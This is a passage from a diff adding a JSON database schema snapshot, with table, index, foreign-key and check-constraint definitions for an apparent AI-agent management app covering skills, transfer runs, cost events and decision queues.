+          "name": "company_skills_company_forked_from_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "forked_from_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skills_company_id_companies_id_fk": {
+          "name": "company_skills_company_id_companies_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_skills_folder_id_folders_id_fk": {
+          "name": "company_skills_folder_id_folders_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "folder_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_forked_from_skill_id_company_skills_id_fk": {
+          "name": "company_skills_forked_from_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "forked_from_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_forked_from_company_id_companies_id_fk": {
+          "name": "company_skills_forked_from_company_id_companies_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "forked_from_company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_current_version_id_company_skill_versions_id_fk": {
+          "name": "company_skills_current_version_id_company_skill_versions_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "company_skill_versions",
+          "columnsFrom": [
+            "current_version_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_transfer_runs": {
+      "name": "company_transfer_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "direction": {
+          "name": "direction",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "actor_key": {
+          "name": "actor_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "container_ref": {
+          "name": "container_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "manifest_sha256": {
+          "name": "manifest_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "manifest": {
+          "name": "manifest",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "chunk_count": {
+          "name": "chunk_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "blob_count": {
+          "name": "blob_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "completed_parts": {
+          "name": "completed_parts",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_transfer_runs_company_idx": {
+          "name": "company_transfer_runs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_transfer_runs_idempotency_direction_idx": {
+          "name": "company_transfer_runs_idempotency_direction_idx",
+          "columns": [
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "direction",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_transfer_runs_actor_status_idx": {
+          "name": "company_transfer_runs_actor_status_idx",
+          "columns": [
+            {
+              "expression": "actor_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_transfer_runs_company_id_companies_id_fk": {
+          "name": "company_transfer_runs_company_id_companies_id_fk",
+          "tableFrom": "company_transfer_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_user_sidebar_preferences": {
+      "name": "company_user_sidebar_preferences",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_order": {
+          "name": "project_order",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_user_sidebar_preferences_company_idx": {
+          "name": "company_user_sidebar_preferences_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_user_sidebar_preferences_user_idx": {
+          "name": "company_user_sidebar_preferences_user_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_user_sidebar_preferences_company_user_uq": {
+          "name": "company_user_sidebar_preferences_company_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_user_sidebar_preferences_company_id_companies_id_fk": {
+          "name": "company_user_sidebar_preferences_company_id_companies_id_fk",
+          "tableFrom": "company_user_sidebar_preferences",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.cost_events": {
+      "name": "cost_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "biller": {
+          "name": "biller",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "billing_type": {
+          "name": "billing_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "cost_status": {
+          "name": "cost_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'reported'"
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "input_tokens": {
+          "name": "input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cached_input_tokens": {
+          "name": "cached_input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "output_tokens": {
+          "name": "output_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cost_cents": {
+          "name": "cost_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "occurred_at": {
+          "name": "occurred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "cost_events_company_occurred_idx": {
+          "name": "cost_events_company_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_agent_occurred_idx": {
+          "name": "cost_events_company_agent_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_provider_occurred_idx": {
+          "name": "cost_events_company_provider_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_biller_occurred_idx": {
+          "name": "cost_events_company_biller_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "biller",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_heartbeat_run_idx": {
+          "name": "cost_events_company_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cost_events_company_id_companies_id_fk": {
+          "name": "cost_events_company_id_companies_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_agent_id_agents_id_fk": {
+          "name": "cost_events_agent_id_agents_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_issue_id_issues_id_fk": {
+          "name": "cost_events_issue_id_issues_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cost_events_project_id_projects_id_fk": {
+          "name": "cost_events_project_id_projects_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_goal_id_goals_id_fk": {
+          "name": "cost_events_goal_id_goals_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "cost_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_archive_notification_outbox": {
+      "name": "decision_archive_notification_outbox",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "archive_version": {
+          "name": "archive_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_attempt_at": {
+          "name": "last_attempt_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "delivered_at": {
+          "name": "delivered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_archive_notification_outbox_uq": {
+          "name": "decision_archive_notification_outbox_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archive_version",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_archive_notification_outbox_pending_idx": {
+          "name": "decision_archive_notification_outbox_pending_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_archive_notification_outbox_company_id_companies_id_fk": {
+          "name": "decision_archive_notification_outbox_company_id_companies_id_fk",
+          "tableFrom": "decision_archive_notification_outbox",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_archive_notification_outbox_origin_agent_id_agents_id_fk": {
+          "name": "decision_archive_notification_outbox_origin_agent_id_agents_id_fk",
+          "tableFrom": "decision_archive_notification_outbox",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_archive_notification_outbox_status_check": {
+          "name": "decision_archive_notification_outbox_status_check",
+          "value": "\"decision_archive_notification_outbox\".\"status\" IN ('pending', 'delivering', 'delivered')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_queue_items": {
+      "name": "decision_queue_items",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queue_id": {
+          "name": "queue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "added_by_type": {
+          "name": "added_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "added_by_agent_id": {
+          "name": "added_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_user_id": {
+          "name": "added_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_run_id": {
+          "name": "added_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_agent_api_key_id": {
+          "name": "added_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_queue_items_queue_source_uq": {
+          "name": "decision_queue_items_queue_source_uq",
+          "columns": [
+            {
+              "expression": "queue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_queue_items_company_source_idx": {
+          "name": "decision_queue_items_company_source_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_queue_items_company_id_companies_id_fk": {
+          "name": "decision_queue_items_company_id_companies_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_agent_id_agents_id_fk": {
+          "name": "decision_queue_items_added_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "added_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_queue_items_added_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "added_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_queue_items_added_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "added_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_queue_company_fk": {
+          "name": "decision_queue_items_queue_company_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "decision_queues",
+          "columnsFrom": [
+            "queue_id",
+            "company_id"
+          ],
+          "columnsTo": [
+            "id",
+            "company_id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_queue_items_actor_check": {
+          "name": "decision_queue_items_actor_check",
+          "value": "(\n        (\"decision_queue_items\".\"added_by_type\" = 'agent' AND \"decision_queue_items\".\"added_by_agent_id\" IS NOT NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NULL)\n        OR (\"decision_queue_items\".\"added_by_type\" = 'user' AND \"decision_queue_items\".\"added_by_agent_id\" IS NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NOT NULL)\n        OR (\"decision_queue_items\".\"added_by_type\" = 'system' AND \"decision_queue_items\".\"added_by_agent_id\" IS NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_queues": {
+      "name": "decision_queues",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_type": {
+          "name": "created_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_api_key_id": {
+          "name": "created_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retention_days": {
+          "name": "retention_days",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "seed_rules": {
+          "name": "seed_rules",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "seed_rules_enabled": {
+          "name": "seed_rules_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_queues_company_key_uq": {
+          "name": "decision_queues_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_queues_company_updated_idx": {
+          "name": "decision_queues_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_queues_company_id_companies_id_fk": {
+          "name": "decision_queues_company_id_companies_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_agent_id_agents_id_fk": {
+          "name": "decision_queues_created_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_queues_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_queues_created_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "created_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "decision_queues_id_company_uq": {
+          "name": "decision_queues_id_company_uq",
+          "nullsNotDistinct": false,
+          "columns": [
+            "id",
+            "company_id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {
+        "decision_queues_creator_check": {
+          "name": "decision_queues_creator_check",
